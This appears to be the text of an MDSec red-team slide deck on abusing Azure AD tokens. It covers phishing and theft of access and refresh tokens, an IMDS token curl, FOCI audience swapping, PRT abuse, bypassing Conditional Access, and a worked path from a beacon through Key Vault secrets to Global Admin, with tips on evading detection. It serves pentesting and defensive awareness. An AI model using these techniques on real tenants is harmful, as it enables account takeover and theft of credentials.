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MDSec Consulting 2024 (c) 

• Marwan El-Gendi -> on twitter as  @sir_FIS for as long as I can stand it

• Pentester/Red teamer for 6+ years

• Working at ActiveBreach MDSec

• Begrudging cloud researcher

• Perpetually bad at catan

• Forever great at Dnd/Wildsea

Obligatory whoami /all

Fig: Me coming last in a boardgame I suggested
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• Companies love to move their infra to the cloud. New environment means new 
attack surface

• Azure is current market leader 

• Many clients will use O365 + AzureAD in a hybrid environment. Cause Microsoft is 
telling them to

Shoutout to 

• AADinternals

• Dirkjan

• AttackingAzureAD (altered security)

• Rvrsh3ll (TokenTactics)

• Internet (sysadmins on github)

Basics
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• Access to Azure resources can be provisioned with access 
tokens

• Even the portal just does API calls under the hood

• These are just in a standard JWT

The “audience” of a token tells you where its for

• Examples include AADgraph, Msgraph, AzureRM and what 
have you

The APIs are documented to varying degrees by Microsoft:

• https://learn.microsoft.com/en-us/rest/api/storagerp/

• https://learn.microsoft.com/en-
us/graph/overview?view=graph-rest-1.0

• https://learn.microsoft.com/en-us/previous-
versions/azure/ad/graph/api/api-catalog

Microsoft APIs

https://learn.microsoft.com/en-us/rest/api/storagerp/
https://learn.microsoft.com/en-us/graph/overview?view=graph-rest-1.0
https://learn.microsoft.com/en-us/graph/overview?view=graph-rest-1.0
https://learn.microsoft.com/en-us/previous-versions/azure/ad/graph/api/api-catalog
https://learn.microsoft.com/en-us/previous-versions/azure/ad/graph/api/api-catalog
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• This is the resource you want access to:

Audiences

URL Resource

Graph.Microsoft.com MS Graph API

Graph.windows.net (deprecated) Graph API

Management.core.windows.net Azure core management

Management.azure.com Azure Resource management

Outlook.office.com Outlook

Vault.azure.net Microsoft Vault

Enrollment.manage.Microsoft.com Microsoft enrollment



MDSec Consulting 2024 (c) 

• This is a application you are accessing the resource as

• Microsoft first party apps commonly will create tokens for their 
normal functions. 

• Not all are created equal (portal is best for Msgraph)

Client IDs

Application ClientID Simple Oauth?

Office d3590ed6-52b3-4102-aeff-

aad2292ab01c

True

Microsoft Teams 1fec8e78-bce4-4aaf-ab1b-

5451cc387264

True

Microsoft Authentication 

Broker

29d9ed98-a469-4536-ade2-

f981bc1d605

True

Enterprise Roaming and 

Backup

60c8bde5-3167-4f92-8fdb-

059f6176dc0f

True

Outlook Mobile 27922004-5251-4030-b22d-

91ecd9a37ea4

True

Portal c44b4083-3bb0-49c1-b47d-

974e53cbdf3c

X

https://learn.microsoft.com/en-us/troubleshoot/azure/entra/entra-id/governance/verify-first-party-apps-sign-in



MDSec Consulting 2024 (c) 

• What the access token is provisioned to do 

• Mostly its whatever it says. For example Files.Read.WriteAll lets you 
read and write all the files the user has access to via the App

• However these are the “Maximum permissions” so it can be 
deceiving

Scope

https://blog.darrenjrobinson.com/microsoft-graph-permission-scope-ids/

Permission Access How to get 

access?

Files.ReadWrite.All Allows the app to read, create, update and delete all files that you 

can access.

Default office 

permission

Mail.Read Allows the app to read email in your mailbox. Default office 

permission

Directory.AccessAsUser.All Allows the app to have the same access to information in the 

directory as the signed-in user

Default office 

permission

Mail.Send Allows the app to send mail as you. Default Outlook 

permission

Chat.Read Allows an app to read your 1 on 1 or group chat messages in 

Microsoft Teams, on your behalf.

Default Teams 

permission
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• With an access token you can access the API directly without worrying about CAP

• By default AzureAD grants Read.All permissions so you can enumerate a lot of information 
even as a standard user

• API authorization is done by sending a “Authorization: Bearer <token>” header. Simple

Continuous Access Evaluation is the main thing that can stop this:

CAE can invalidate an access token if:

• User has changed their creds/has been deleted

• Blocks access tokens from outside trusted locations (if CAP is present)

You can tell if a token has CAE is by just reading the token:

However several audiences (e.g. AADGraph) do not have CAE. Not the only inconsistency 
between AADGraph and MSGraph (e.g. listing CAP more on this later)

Refresh + Family of Client IDs AKA FOCI let you swap the audiences/clientID out (more on this 
later also)

Basics - Use

"xms_cc":[ "CP1" ],
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• Device code phishing, a classic. Microsoft spent the last 20 years telling people to 
only trust MS links and now one is the phish

• Dump memory of an office process 

• IDMS endpoint: curl “https://IDMS/metadata/identity/oauth2/token?api-
version=2018-02-01&resource=https://management.azure.com’ -Header 
Metadata:true

• TIBRES by Adam Chester (@_xpn_). Decrypt MSAL auth stored on disk 

• Saved on disk: “The MSAL token cache and service principal entries are saved as 
encrypted files on Windows, and plaintext files on Linux and macOS.” – Microsoft*

• Authenticate with compromised credentials yourself (Oauth)

Getting Tokens

*https://learn.microsoft.com/en-us/cli/azure/msal-based-azure-cli
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You can use client credentials or secrets to get an access token yourself:

Oauth for tokens

POST /<tenandID>/oauth2/v2.0/token

Host: login.microsoftonline.com

{

“client_id”: “d3590ed6-52b3-4102-aeff-aad2292ab01c”,

“scope”: https://graph.Microsoft.com/.default

“username” :lowpriv@clientcorp.com,

“password”: “N3vergonnagiveyouup”,

“"claims“: "{\"access_token\":{\"xms_cc\":{\"values\":[\"cp1\"]}}}”,

"grant_type","password“

} 

Or use the refresh token 

POST /<tenandID>/oauth2/v2.0/token

Host: login.microsoftonline.com

{

“client_id”: “d3590ed6-52b3-4102-aeff-aad2292ab01c”,

“resource”: https://graph.Microsoft.com”,

“refresh_token”:<REFRESH_TOKEN>”,

"grant_type","refresh_token “

} 

https://graph.microsoft.com/.default
mailto:lowpriv@clientcorp.com
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Microsoft APIs

Another tool that does this really well is 

SharpAztoken by 

https://github.com/HackmichNet
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Family of Client IDs - FOCI

• Family of Client IDs is a category of client ids are trusted to obtain 
refresh tokens for each other. 

• The idea is that it lets mobile devices access multiple office applications 
without having to prompt the user for authentication every time. 

• Though only one “family” of applications exists so far. These are default 
and can be utilized with no prompt or consent from the user required.

• The abuse function here, is that we can refresh our token and scope it 
to a different API. Where different APIs have access to different 
resources, this can allow us some level of lateral privilege escalation

• Essentially allowing any token from the FOCI family to gain permissions 
of the other family members

https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv

https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv
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Example – FOCI abuse for phishing
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Example - FOCI to get better perms
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• Refresh tokens: The cooler token

• Lasts 90 days if inactive, no expiration if used. 

• If FOCI is set, you can refresh to different audiences as needed, so one refresh gives 
you all the API access you need for your client

• This is evaluated as a sign-in and must comply with CAP, used to not be recorded* as a 
login  but does now at certain price points**

• CAP,CAE and other policies can be enforced that can stop this from working

• Device CAP is simply a user-agent comparison so that’s easy to bypass

• Location can be jumped over with proxies 

• Managed device & CAE restrictions are harder. 

• If you can access a “trusted location”  you can refresh freely with a simple HTTP 
request (such as internal VPN)

PRT extraction/creation: → The ultimate refresh token get anything anytime wow!

• Pull via chrome browser functionality

• Have the ultimate token for your user

• Is it always needed? 

Refresh tokens

*https://aadinternals.com/post/phishing/#detecting (device code)

**https://www.cloud-architekt.net/abuse-and-replay-azuread-token-macos/#using-token-tactics-to-request-refresh-and-access-tokens (PRT)
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What can you do? - everything

API recon creates little telemetry*. To view it you need to create some kind of feed 
for it but Ive never seen a reference to its set up:

MSGraph:

• Read all users emails

• Browse Onedrive for user

• Search Sharepoint and Onedrive, upload or replace files 

• Sharepoint and onedrive are more trusted

• AADGraph:

• Query User,Group, Device and Application information

• Get all CAP and related policies

• AzureHound

AzureRM:

• Access user subscriptions, permissions in the tenant

• Storage blobs, Applications, Keyvault, Deployments, scripts, Virtual Machines

*please stop tweeting TTPs 
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• Some APIs give access to resources that are protected in others

• Notable Examples are AzureAD and Skype APIs

Refresh to gain access
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Example 1 – Policies via AADGraph

• Credit to Dirkjan. Listing policies in a tenant is “privileged” 
permission in Msgraph.  Requires Policy.Read. 

• However, it is a default permission in AADGraph

GET /policies?api-version=1.61-internal

Host: graph.windows.net

Authorization: Bearer

You cant update policies in AAD anymore though
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Example 1 – Policies via AADGraph

{
"odata.metadata": "https://graph.windows.net/myorganization/$metadata#directoryObjects",

"value": [

{

"odata.type": "Microsoft.DirectoryServices.Policy",

"objectType": "Policy",

"objectId": "8257e2fe-ed87-4bf5-8276-32a557d0bc2e",

"deletionTimestamp": null,

"displayName": "Default Policy",

"keyCredentials": [],

"policyType": 18,

"policyDetail": [

"{"Version":0,"State":"Disabled"}"

],

"policyIdentifier": "2023-12-07T10:45:50.7141268Z",

"tenantDefaultPolicy": 18

},

{

"odata.type": "Microsoft.DirectoryServices.Policy",

"objectType": "Policy",

"objectId": "b6371885-e917-4dbd-acf9-22cf56e1567c",

"deletionTimestamp": null,

"displayName": "MFA low",

"keyCredentials": [],

"policyType": 18,

"policyDetail": [

"{"Version":1,"CreatedDateTime":"2023-11-02T16:32:15.7132332Z","ModifiedDateTime":"2023-12-07T10:45:50.2961323Z","State":"Disabled","Conditions":{"Applications":{"Include":[{"Applications":["All"]}]},"Users":{"Include":[{"Users":["0395586b-

7d7c-4140-8d53-

ad200b2ac04f"]}]},"DevicePlatforms":{"Include":[{"DevicePlatforms":["All"]}]},"Locations":{"Include":[{"Locations":["All"]}]},"ClientTypes":{"Include":[{"ClientTypes":["Browser","Native","EasSupported","EasUnsupported","OtherLegacy","LegacySmtp","Legacy

Pop","LegacyImap","LegacyMapi","LegacyOffice"]}]},"SignInRisks":{"Include":[{"SignInRisks":["NoRisk"]}]},"UserRisks":{"Include":[{"UserRisks":["Low"]}]}},"Controls":[{"Control":["Block"]}],"SessionControls":["ContinuousAccessEvaluation"],"ContinuousAcc

essEvaluationMode":"StrictLocation","EnforceAllPoliciesForEas":true,"IncludeOtherLegacyClientTypeForEvaluation":true}"

],

"policyIdentifier": null,

"tenantDefaultPolicy": null

},

{

"odata.type": "Microsoft.DirectoryServices.Policy",

"objectType": "Policy",

"objectId": "fe92f8f2-db9c-48ac-aa52-6297902c1741",

"deletionTimestamp": null,

"displayName": "11/2/2023 4:31:29 PM",

"keyCredentials": [],

"policyType": 10,

"policyDetail": [

"{"SecurityPolicy":{"Version":0,"SecurityDefaults":{"IgnoreBaselineProtectionPolicies":true,"IsEnabled":false,"SecurityDefaultsUpsell":{"Action":0,"DueDateTimestamp":"2023-11-02T16:31:29.8672921Z"}}}}"

],

"policyIdentifier": null,

"tenantDefaultPolicy": 10

}

]

}
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Example 1 – Policies via AADGraph

{
"odata.metadata": 

"https://graph.windows.net/myorganization/$metadata#director

yObjects",

"value": [

{

"odata.type": "Microsoft.DirectoryServices.Policy",

"objectType": "Policy",

"objectId": "8257e2fe-ed87-4bf5-8276-32a557d0bc2e",

"deletionTimestamp": null,

"displayName": "Default Policy",

"keyCredentials": [],

"policyType": 18,

"policyDetail": [

"{"Version":0,"State":"Disabled"}"

],
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Example 1 – Policies via AADGraph

{

"odata.type": "Microsoft.DirectoryServices.Policy",

"objectType": "Policy",

"objectId": "b6371885-e917-4dbd-acf9-22cf56e1567c",

"deletionTimestamp": null,

"displayName": "MFA low",

"keyCredentials": [],

"policyType": 18,

"policyDetail": [

"{"Version":1,"CreatedDateTime":"2023-11-02T16:32:15.7132332Z","ModifiedDateTime":"2023-12-

07T10:45:50.2961323Z","State":"Disabled","Conditions":{"Applications":{"Include":[{"Applications":["All"]}]},"Users":{"Include":[{"Users":["039558

6b-7d7c-4140-8d53-

ad200b2ac04f"]}]},"DevicePlatforms":{"Include":[{"DevicePlatforms":["All"]}]},"Locations":{"Include":[{"Locations":["All"]}]},"ClientTypes":{"Include

":[{"ClientTypes":["Browser","Native","EasSupported","EasUnsupported","OtherLegacy","LegacySmtp","LegacyPop","LegacyImap","LegacyMa

pi","LegacyOffice"]}]},"SignInRisks":{"Include":[{"SignInRisks":["NoRisk"]}]},"UserRisks":{"Include":[{"UserRisks":["Low"]}]}},"Controls":[{"Control"

:["Block"]}],"SessionControls":["ContinuousAccessEvaluation"],"ContinuousAccessEvaluationMode":"StrictLocation","EnforceAllPoliciesForEas"

:true,"IncludeOtherLegacyClientTypeForEvaluation":true}"

],
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Example 2 – Teams via Skype

Using FOCI and a “undocumented” Skype API its possible to forge a 
token for teams access

Microsoft has taken many steps to 
limit access to teams via API so this is 
quite useful to have 

https://www.blackhillsinfosec.com/wishing-webhook-phishing-in-teams/
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• Primary Refresh Token, created for  joined devices so that they can auth as a user 
without need of multiple prompts

• Can be extracted via ChromeBrowser.exe abuse or by registering a new device

• Well documented by Dirkjan and DrAzure

Basic use is extract token ->add to your cookies as x-ms-RefreshTokenCredential

By browsing to https://login.microsoftonline.com/login.srf you can refresh to any 
access token.

PRT abuse

https://login.microsoftonline.com/login.srf
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• Tokens can be used to access a Microsoft resource bypassing 
restrictions 

• Can be acquired a number of ways 

• Refresh + FOCI mean we can access everything the user can via 
interactive websites (e.g. Portal, Shrarepoint, Outlook) without
needing a browser

• Can be leveraged to access resources even the user doesn’t know 
they can access (e.g. bookings, AADGraph and Skype APIs)

Story so far
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EXAMPLE ATTACK PATH

Practical example



MDSec Consulting 2024 (c) 

Practical example

Running from a beacon as a user

Extract access tokens using TIBRES
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Practical example - Sharepoint via MSGraph

Documented API endpoint to search both Sharepoint and OneDrive

POST /search/query

Content-Type: application/json

Authorization: Bearer <token>

{  

"requests": [    

{      

"entityTypes": [

"driveItem“

], 

"query": { 

"queryString": “<query>“

}

}

]

} 

The “queryString” parameter is the KQL syntax. So you can do filters like filetype, terms 
and filename
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Practical example – Sharepoint via MSGraph

Find credentials for an application used by the helpdesk

try {

# Add the service principal application ID and secret here

$servicePrincipalClientId=“50b7a839-REDACTED";

$servicePrincipalSecret="kso9+REDACTED";

$env:TENANT_ID = " eda-REDACTED ";

$env:SUBSCRIPTION_ID = " REDACTED ";

$env:RESOURCE_GROUP = “helpdesk-apps";

$env:LOCATION = "uksouth"; #i.e. westeurope

$env:AUTH_TYPE = "principal";

$env:CORRELATION_ID = " REDACTED ";

$env:CLOUD = "AzureCloud";
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Practical example –
Service Principal Authentication

Authenticate with Enterprise Application 

We can authenticate to various audiences as the application not just AzureRM
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Practical example – Enumerate perms

Get role assignments for service principal

GET 

/subscriptions/<subscriptionId>/providers/Microsoft.Authorization/roleassignments=2022-

04-01

Host: management.azure.com

Authorization: Bearer <token>

RoleDisplayName : Helpdesk Administrator

RoleId : 7298-REDACTED

DirectoryScopeId : /administrativeUnits/391304f-REDACTED

GET /v1.0/directory/administrativeUnits/391304f-REDACTED/members

Host: graph.Microsoft.com

<every user in the tenant> e.g. 

Id                : 94f1289fb-REDACTED

userPrincipalName : svc_vault@clientcorp.com
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Practical example – Activate PIM
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Practical example – Access Keyvault

GET /"subscriptions/" + <subscriptionId> + "/resources", "2014-04-01-preview", "$filter=resourceType

eq 'Microsoft.KeyVault/vaults’”

{

"value": [

{

"id": 

"/subscriptions/<subscriptionID>c/resourceGroups/administration/providers/Microsoft.KeyVault/vaults

/HelpdeskAdminVault",

"name": " HelpdeskAdminVault ",

"type": "Microsoft.KeyVault/vaults",

"location": “uksouth",

"tags": {}

}

]

}

Using the credentials for the app we can request an access token for keyvault by 
specifying an audience of “https://vault.azure.net/.default”
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Practical example – Access Keyvault

get https://helpdeskAdminVault.vault.azure.net/certificates?api-version=7.4

{

"id": "https:// 

helpdeskAdminVault.vault.azure.net/certificates/brkglasscert/1392a2af12cd89bccf4k3d729a8fd533",

"kid": "https:// helpdeskAdminVault.vault.azure.net/keys/ brkglasscert/1392a2af12cd89bccf4k3d729a8fd533",

"sid": "https:// helpdeskAdminVault.vault.azure.net/secrets/brkglasscert /1392a2af12cd89bccf4k3d729a8fd533",

"x5t": "1ly5pCSHvs-8VDmBFZETm3VdBcI",

"cer": "MIIC/DCCA…snip…

"attributes": {

"enabled": true,

"nbf": 1708335980,

"exp": 1866189381,

"created": 1708336750,

"updated": 1708336750,

"recoveryLevel": "Recoverable+Purgeable",

"recoverableDays": 90

}

…

}
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Practical example – Get secret from Keyvault

get https://helpdeskAdminVault.vault.azure.net/secrets/brkglasscert/1392a2af12cd89bccf4k3d729a8fd533?api-

version=7.4

{

"value": “<certificate_blob>”,

"contentType": "application/x-pkcs12",

"id": "https://helpdeskAdminVault.vault.azure.net/secrets/brkglasscert/1392a2af12cd89bccf4k3d729a8fd533",

"managed": true,

"attributes": {

"enabled": true,

"nbf": 1708245900,

"exp": 1866182481,

"created": 1708446940,

"updated": 1708446940,

"recoveryLevel": "Recoverable+Purgeable",

"recoverableDays": 90

},

"kid": "https:// helpdeskAdminVault.vault.azure.net/keys/brkglasscert /1392a2af12cd89bccf4k3d729a8fd533"

}
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Practical example – Authenticate with cert

You can use certificates to authenticate as a serviceprincipal to Azure
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Practical example – Get Global Admin

By finding the application ID and serviceprincipal we can enumerate permissions via 
the API
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• Talking to API gives you more freedom to query/execute Azure commands than az
cli and Azure Powershell module.

• Wrote a tool to use these API calls 

Put it all in one place

Public tools that does this very well (and is opensource):

TokenTactics:

https://github.com/rvrsh3ll/TokenTactics

GraphSpy: 

https://github.com/RedByte1337/GraphSpy/tree/master
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• CAP is the biggest blocker to this, kind of

• But Microsoft haven’t implemented it so that its obvious how the rules work

• Authentication is evaluated for MSGraph against the CAP rules taking into 
consideration

• Scope

• Client

• So since there's over 100 scopes and 100s of clients there are a lot of gaps

• But if CAE enforced and a strong CAP with MFA is enforced what do you do?

Defences
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We’re operating as the user, so we’re compliant

So with loss in UI experience, we can make the recon directly:

Its all APIs so all you need is the ability to make HTTP requests and we’re golden

Bypassing Defences - As an operator
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The CAE rejection raises no known alerts

Access tokens remain unseen and unremarked by Microsoft

The main point of friction is when the token is created. Microsoft have a feature you 
can enable to flag unusual sign ins:

• Is the origin IP known to be malicious

• Is the origin IP in a different country to the user? Is it physically impossible to 
travel like that?

• Is the IP associated with any cloud provider?

• Suspicious creation of mailbox rules or activities 

This can also apply to token refresh depending on rules/subscriptions in place:

• Follow same principal as sign in

• Mismatch/unusual token properties

Opsec considerations
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The party is over …

Opsec considerations

Microsoft having to 

fix their product Me after spending 

all this time 

learning it
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• Detections only apply to Msgraph -> classic microsoft

• AAD graph and other APIs are still gtg

• Detections published so far are about volume of graph api requests and User 
agents.

• While detections will no doubt become more sophisticated, so can our requests. 
So long as the API is open we can just keep tweaking our recon to evade detection

Opsec considerations

ME

MSGraph 

detections
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• Over reliance on controls being on the portal level means we have a lot of more 
access as normal users than defenders realise

• We should incorporate hybrid attacks and recon into our normal routine

• The obscurity of the technology works in our favour

• Detections are still rudimentary so lots of room for changes and subsequent 
abuses

• Other cloud operators work similarly so we can transfer the skills as need

In Summary 

ME

detections

Fig: me totally unaffected by learning Azure APIs
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Questions
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